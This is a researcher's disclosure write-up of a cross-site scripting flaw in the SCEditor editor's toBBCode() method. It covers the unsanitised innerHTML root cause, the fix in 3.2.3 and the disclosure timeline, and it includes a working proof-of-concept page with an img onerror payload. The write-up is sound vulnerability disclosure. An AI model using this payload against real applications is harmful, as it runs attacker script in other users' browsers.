In short. This is a cross-site scripting bug in SCEditor (GHSA-hmw9-qvxc-c9hr). The public toBBCode() method assigns its raw HTML argument to innerHTML on an element that is attached to the live document, and it never runs the editor sanitiser on that path, so a script in the input executes in the page origin during the conversion. Every other HTML sink in the library sanitises first, which is why this one is easy to miss. Fixed in 3.2.3, rated Moderate.
Background
SCEditor is a small WYSIWYG and BBCode editor. Its toBBCode() method turns an HTML string into BBCode. An application calls it when it wants the BBCode form of some HTML. An internal toSource() function does the work, exposed publicly as editor.toBBCode().
A per-instance DOMPurify guards the WYSIWYG body, the paste handler and the range helper, so every value that reaches the DOM has already passed the sanitiser. The conversion path is the single place that does not.
Where it bites
toBBCode() is public and accepts raw HTML. The library's own callers, the WYSIWYG to source round trip, paste and insert, hand it HTML sanitised earlier, so the editor itself is not exposed. An application is exposed when it feeds untrusted HTML straight into toBBCode(), for example stored content, clipboard HTML, or markup that came from another user.
Root cause
toSource() builds a temporary container, assigns the raw argument to container.innerHTML, and appends the container to the live document.body to walk the DOM. Nothing sanitises that argument.
function toSource(asFragment, html, context, parent) { // :2515
context = context || document;
// ...
container.innerHTML = html; // :2524 raw, no sanitize()
// ...
context.body.appendChild(containerParent); // :2527 the live document
}
base.toBBCode = base.toSource; // :2485 public method
base.toSource = toSource.bind(null, false); // :2567 editor.toBBCode(html) reaches :2524The container belongs to the live document, so assigning the raw HTML to its innerHTML parses an <img onerror=...> whose handler runs in the page origin. The appendChild only walks the DOM. src/formats/xhtml.js:556 and :559 carry the same pattern.
div.innerHTML = sanitize(html); // src/lib/RangeHelper.js:111
wysiwygBody.innerHTML = sanitize(value); // src/lib/SCEditor.js:2131
pasteArea.innerHTML = sanitize(data.html); // src/lib/SCEditor.js:1645Proof of concept
SCEditor 3.2.2 with its default configuration. Open the page and click the button.
<!doctype html>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/sceditor@3.2.2/minified/themes/default.min.css">
<script src="https://cdn.jsdelivr.net/npm/sceditor@3.2.2/minified/sceditor.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/sceditor@3.2.2/minified/formats/bbcode.js"></script>
<button id="go">Convert HTML to BBCode</button>
<textarea id="ed"></textarea>
<script>
sceditor.create(document.getElementById('ed'), { format: 'bbcode', emoticonsEnabled: false });
var editor = sceditor.instance(document.getElementById('ed'));
document.getElementById('go').addEventListener('click', function () {
var untrusted = 'da<img src=dave onerror="alert(/secalert/)">ve';
editor.toBBCode(untrusted);
});
</script>The handler runs when toBBCode() parses the input. The call also returns the expected BBCode, da[img]dave[/img]ve. I verified it with a real click in Chromium, WebKit and Firefox.
Affected versions
npm sceditor up to and including 3.2.2 is affected. Across the whole 3.x line the toSource() path has carried no sanitiser. The bundled DOMPurify version does not matter here, because this path never calls it. The issue is fixed in 3.2.3.
Impact and severity
An application that converts untrusted HTML with editor.toBBCode() runs attacker script in its own origin. Where that application stores the result and shows it to other people, the script becomes a stored XSS that fires on a normal interaction in another user's browser.
I reported a conservative score. It assumes the attacker needs an account to place the HTML, that a user triggers the call, and that the reach is limited. The score rises when the conversion runs without interaction, or when the origin holds a session worth taking.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N -> 4.6 (Moderate)
CWE-79The fix
Sanitise the argument in toSource() the way the other sinks do, container.innerHTML = sanitize(html), or parse the HTML in an inert document made with document.implementation.createHTMLDocument('') rather than appending to the live document.body. The same change applies to xhtml.js. The issue is fixed in 3.2.3 and tracked as GHSA-hmw9-qvxc-c9hr.
Disclosure
This was my second report to the maintainer. On 30 September 2026 I reported a separate issue, that SCEditor 3.2.1 bundled a DOMPurify build affected by CVE-2026-41238 and called sanitize() without a CUSTOM_ELEMENT_HANDLING option, which is the condition that CVE needs. That report was credited in 3.2.2. The reply was warm and precise, and it made me want to find a flaw in the editor's own code rather than a bundled dependency. That search led to the toBBCode() path. I reported it on 10 October 2026, the maintainer confirmed it three days later, and the fix shipped as 3.2.3. The advisory GHSA-hmw9-qvxc-c9hr credits me as the finder, and a CVE is pending.
Acknowledgements
My sincere thanks to the maintainer. Across both reports the replies were fast, friendly and exact, and the maintainer requested the CVE on my behalf. Maintainers who make disclosure feel like a shared effort are rare, and this was one.
Timeline
2026-09-30: reported a separate issue, a bundled DOMPurify affected by CVE-2026-41238, credited in 3.2.2
2026-10-10: reported the toBBCode() XSS
2026-10-13: confirmed by the maintainer
2026-10-22: GHSA-hmw9-qvxc-c9hr published, fixed in 3.2.3
2026-10-29: this write-up publishedReferences
- Advisory: GHSA-hmw9-qvxc-c9hr
- Earlier related report: CVE-2026-41238 (bundled DOMPurify), credited in SCEditor 3.2.2
- Fix: SCEditor 3.2.3